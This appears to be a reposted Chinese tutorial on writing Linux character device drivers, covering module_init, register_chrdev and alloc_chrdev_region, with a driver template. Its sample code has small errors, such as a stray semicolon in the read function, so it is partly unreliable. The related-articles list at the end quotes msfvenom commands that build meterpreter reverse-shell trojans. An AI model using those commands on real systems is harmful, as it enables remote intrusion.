【Linux驱动】字符设备驱动相关宏 / 函数介绍(module_init、register_chrdev)

news2024/12/29 17:18:55

驱动运行有两种方式:

  • 方式一:直接编译到内核,Linux内核启动时自动运行驱动程序
  • 方式二:编译成模块,使用 insmod 命令加载驱动模块

我们在调试的时候,采用第二种方式是最合适的,每次修改驱动只需要编译一下驱动代码,然后使用 insmod 命令加载驱动模块( .ko 文件 ),不需要编译整个 Linux 代码。

下面以第二种方式为例,来了解一下编写字符驱动模块需要用到哪些宏或者函数。


目录

一、驱动模块的加载 / 卸载 —— module_init / module_exit

二、字符设备的注册 / 注销 —— register_chrdev 

三、添加实现设备的具体操作函数

四、添加 LICENSE 和作者信息 —— MODULE_LICENSE

五、动态分配 / 释放设备号 —— alloc_chrdev_region

六、总结:字符驱动模板 


一、驱动模块的加载 / 卸载 —— module_init / module_exit

驱动模块被加载,可能需要有一些初始化,但是我们要如何让内核去调用我们写的初始化函数呢,这就需要内核提供的宏: module_init 、module_exit

module_init(xxx_init);     //注册模块加载函数
module_exit(xxx_exit);     //注册模块卸载函数

module_init

        当前模块被加载到内核时,会自动调用 xxx_init 函数,这里的 module_init 就有点像是在给内核传递 xxx_init 函数的函数指针。

module_exit

        同理,当我们想卸载模块时,可能会有一些收尾工作要做,比如关闭某个引脚。当前模块被卸载的时候,会自动调用 xxx_exit 函数

// 使用 __init 修饰
static int __init chrdevbase_init(void)
{
    /* 驱动入口实现 */
	return 0;
}

// 使用 __exit 修饰
static void __exit chrdevbase_exit(void)
{
    /* 驱动出口实现 */
}
module_init(chrdevbase_init);     //注册模块加载函数
module_exit(chrdevbase_exit);     //注册模块卸载函数

二、字符设备的注册 / 注销 —— register_chrdev 

注册字符设备的目的是在你的驱动被加载到内核时,会在 /dev/ 目录下生成你的字符设备文件,应用程序读写这个字符设备文件时,就会自动调用驱动中的 read / write 函数。

这样就建立起了应用程序和驱动之间的基本联系。同理,注销时,/dev/ 下对应文件会被删除。register_chrdev、unregister_chrdev 是早期注册字符设备的函数,函数声明如下:

// 字符设备注册
static inline int register_chrdev(unsigned int major, const char *name,
				  const struct file_operations *fops);
// 字符设备注销
static inline void unregister_chrdev(unsigned int major, const char *name);

register_chrdev 参数解析

major:主设备号,Linux 下每个设备都有一个设备号,可以使用cat /proc/devices 查看已经使用的设备号。静态分配时注意不要和已有设备号重复如果要动态分配,可以参考第六部分《动态分配设备号》

name:设备名称,当驱动注册成功以后,在 /dev/ 下显示的名称

fops:当前驱动的操作函数集合,函数声明放在file_operations结构体中,这里要传入的就是file_operations结构体指针。

unregister_chrdev 参数解析

major:要注销的设备对应的主设备号。

name:要注销的设备对应的设备名。 

三、添加实现设备的具体操作函数

上面注册字符设备的第三个参数是 fops ,这里要传入的就是你要为当前设备注册哪些操作函数,比如定义了下面的结构体,结构体对象为 chrdevbase_fops,同时要为该结构体注册 open、read、write 、close 函数:

  • open 函数:chrdevbase_open
  • read 函数:chrdevbase_read
  • write 函数:chrdevbase_write
  • close 函数:chrdevbase_release
/*
 * 设备操作函数结构体
 */
static struct file_operations chrdevbase_fops = {
	.owner = THIS_MODULE,     // 注册当前结构体的指针对象
	.open = chrdevbase_open,
	.read = chrdevbase_read,
	.write = chrdevbase_write,
	.release = chrdevbase_release,
};

既然这里已经注册了 open、read、write 、close 函数,那么你需要自己去实现这些操作函数,关于这些函数的声明,可以在 include/linux/fs.h 的第 1588 行找到。

/* 打开设备 */
static int chrdevbase_open(struct inode *, struct file *)
{
    /* 用户实现具体功能 */
    return 0;
}

/* 读取设备 */
static ssize_t chrdevbase_read(struct file *, char __user *, size_t, loff_t *);
{
    /* 用户实现具体功能 */
    return 0;
}

/* 向设备写数据 */
static ssize_t chrdevbase_write(struct file *, const char __user *, size_t, loff_t *)
{
    /* 用户实现具体功能 */
    return 0;
}

/* 关闭设备 */
static int chrdevbase_release (struct inode *, struct file *)
{
    /* 用户实现具体功能 */
    return 0;
}

四、添加 LICENSE 和作者信息 —— MODULE_LICENSE

驱动模块中必须添加 LICENSE 信息,不然编译会报错,作者信息可有可无。LICENSE 和作者信息的添加使用 如下两个函数:

MODULE_LICENSE("GPL");       //添加模块 LICENSE 信息
MODULE_AUTHOR("作者名");     //添加模块作者信息

 

五、动态分配 / 释放设备号 —— alloc_chrdev_region

动态分配设备号 —— alloc_chrdev_region

函数声明如下:

int alloc_chrdev_region(dev_t *dev, \
                        unsigned baseminor, \
                        unsigned count, \
                        const char *name);

dev:输出型参数。保存申请到的设备号

baseminor:次设备号起始地址。alloc_chrdev_region 可以申请一段连续的多个设备号,这 些设备号的主设备号一样,但是次设备号不同,次设备号以 baseminor 为起始地址地址开始递 增。一般 baseminor 为 0,也就是说次设备号从 0 开始。

count:要申请的设备号数量

name:设备名字

动态释放设备号 —— unregister_chrdev_region

注销字符设备之后要释放掉设备号。函数声明如下:

void unregister_chrdev_region(dev_t from, unsigned count);

from:要释放的设备号。(这里指的是主设备号,并非上面次设备号的起始地址)

count:表示从 from 开始,要释放的设备号数量。

六、总结:字符驱动模板 

#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/delay.h>
#include <linux/ide.h>
#include <linux/init.h>
#include <linux/module.h>

#define CHRDEVBASE_MAJOR 200 /* 主设备号 */
#define CHRDEVBASE_NAME "chrdevbase" /* 设备名 */

/* 打开设备 */
static int chrdevbase_open(struct inode *, struct file *)
{
    /* 用户实现具体功能 */
    return 0;
}

/* 读取设备 */
static ssize_t chrdevbase_read(struct file *, char __user *, size_t, loff_t *);
{
    /* 用户实现具体功能 */
    return 0;
}

/* 向设备写数据 */
static ssize_t chrdevbase_write(struct file *, const char __user *, size_t, loff_t *)
{
    /* 用户实现具体功能 */
    return 0;
}

/* 关闭设备 */
static int chrdevbase_release (struct inode *, struct file *)
{
    /* 用户实现具体功能 */
    return 0;
}

/*
 * 设备操作函数结构体
 */
static struct file_operations chrdevbase_fops = {
	.owner = THIS_MODULE, 
	.open = chrdevbase_open,
	.read = chrdevbase_read,
	.write = chrdevbase_write,
	.release = chrdevbase_release,
};

/*
 * @description	: 驱动入口函数 
 * @param 		: 无
 * @return 		: 0 成功;其他 失败
 */
static int __init chrdevbase_init(void)
{
	int retvalue = 0;

	/* 注册字符设备驱动 */
	retvalue = register_chrdev(CHRDEVBASE_MAJOR, CHRDEVBASE_NAME, &chrdevbase_fops);
	if(retvalue < 0){
		printk("chrdevbase driver register failed\r\n");
	}
	printk("chrdevbase init!\r\n");
	return 0;
}

/*
 * @description	: 驱动出口函数
 * @param 		: 无
 * @return 		: 无
 */
static void __exit chrdevbase_exit(void)
{
	/* 注销字符设备驱动 */
	unregister_chrdev(CHRDEVBASE_MAJOR, CHRDEVBASE_NAME);
	printk("chrdevbase exit!\r\n");
}

/* 
 * 将上面两个函数指定为驱动的入口和出口函数 
 */
module_init(chrdevbase_init);
module_exit(chrdevbase_exit);

/* 
 * LICENSE和作者信息
 */
MODULE_LICENSE("GPL");
MODULE_AUTHOR("author_name");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609053.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

八大排序之图文详解

前言 在数据结构中&#xff0c;排序是非常重要的内容&#xff0c;也是未来面试和笔试的重点。 本文代码是Java 目录 前言 一、插入排序 &#xff08;一&#xff09;直接插入排序 &#xff08;二&#xff09;希尔排序 二、选择排序 &#xff08;一&#xff09;选择排序 …

【CSS3系列】第六章 · 2D和3D变换

写在前面 Hello大家好&#xff0c; 我是【麟-小白】&#xff0c;一位软件工程专业的学生&#xff0c;喜好计算机知识。希望大家能够一起学习进步呀&#xff01;本人是一名在读大学生&#xff0c;专业水平有限&#xff0c;如发现错误或不足之处&#xff0c;请多多指正&#xff0…

通义千问预体验,如何让 AI 模型应用“奔跑”在函数计算上?

立即体验基于函数计算部署通义千问预体验&#xff1a; https://developer.aliyun.com/topic/aigc_fc AIGC 浪潮已来&#xff0c;从文字生成到图片生成&#xff0c;AIGC 的创造力让人惊叹&#xff0c;更多人开始探索如何使用 AI 提高生产效率&#xff0c;激发更多创作潜能&…

android jetpack Room的基本使用(java)

数据库的基本使用 添加依赖 //roomdef room_version "2.5.0"implementation "androidx.room:room-runtime:$room_version"annotationProcessor "androidx.room:room-compiler:$room_version"创建表 Entity表示根据实体类创建数据表&#xff0c…

Linux基础篇 Ubuntu 22.04的环境安装-02

目录 一、资料的获取 二、安装虚拟机 三、安装Ubuntu过程 四、注意事项 一、资料的获取 1.通过官方网站下载 Ubuntu系统下载 | Ubuntuhttps://cn.ubuntu.com/download2.下载桌面板即可 3.选择下载的版本 二、安装虚拟机 1.创建新的虚拟机 2.选择自定义安装 3.硬件兼容性选…

Zinx框架学习 - 请求与路由模块实现

Zinx - V0.3 请求与路由模块实现 在zinxV0.2中链接只封装了套接字&#xff0c;而请求是封装了链接和用户传输的数据&#xff0c;后续通过请求来识别具体要实现什么功能&#xff0c;然后通过路由来完成对应的功能处理。conn链接的业务处理HandleFunc是固定写死的&#xff0c;接…

【YOLO系列】YOLO v4(网络结构图+代码)

文章目录 how to compile on Linux(using cmake)yolo v4 测试 网络结构route 和shotcutNeckHead Loss参考 YOLO v4是YOLO系列的第三篇&#xff0c;YOLO v4融合了大量的检测小技巧&#xff0c;为了能够更快地理解YOLO v4&#xff0c;可先查看前两篇文章。 【YOLO系列】YOLO v3&a…

K8s架构(五)

K8s的物理架构是master/node模式&#xff1a; K8s集群至少需要一个主节点(Master)和多个工作节点(Worker)&#xff0c;Master节点是集群的控制节点&#xff0c;负责整个集群的管理和控制&#xff0c;主节点主要用于暴露API&#xff0c;调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.&#x1f48c;&#x1f48c;&#x1f48c; &#x1f9d1;个人主页&#xff1a;良辰针不戳 &#x1f4d6;所属专栏&#xff1a;javaEE进阶篇之框架学习 &#x1f34e;励志语…

单源最短路的综合应用

1.新年好&#xff08;dfs最短路&#xff09; 信息学奥赛一本通&#xff08;C版&#xff09;在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路&#xff0c;求一个地方到另一个地方的最短路&#xff0c;在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…

数据在内存中的存储(超详细讲解)

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…

【sentinel】漏桶算法在Sentinel中的应用

漏桶算法 漏桶算法介绍 漏桶算法&#xff0c;又称leaky bucket。 从图中我们可以看到&#xff0c;整个算法其实十分简单。首先&#xff0c;我们有一个固定容量的桶&#xff0c;有水流进来&#xff0c;也有水流出去。对于流进来的水来说&#xff0c;我们无法预计一共有多少水…

内存池技术

为了学习池化技术以及后续自行实现一个仿tcmalloc的线程池&#xff0c;我们先浅浅的学习一下池化的概念&#xff0c;以及简单的实现一个定长的内存池。 文章目录 一&#xff1a;池化技术二&#xff1a;内存池三&#xff1a;内存池主要解决的问题四&#xff1a;malloc五&#x…

原地顺时针旋转矩阵(leetcode 48.选择图像)

本题目在leetcode上有原题48. 旋转图像 详细讲解 顺时针旋转90&#xff0c;横变竖&#xff0c;竖变横。按圈分解&#xff0c;一圈圈的单独转&#xff0c;由外圈到内圈&#xff0c;不断分解。 每一圈转到位了&#xff0c;整个矩阵就旋转好了。 那么&#xff0c;问题来了&…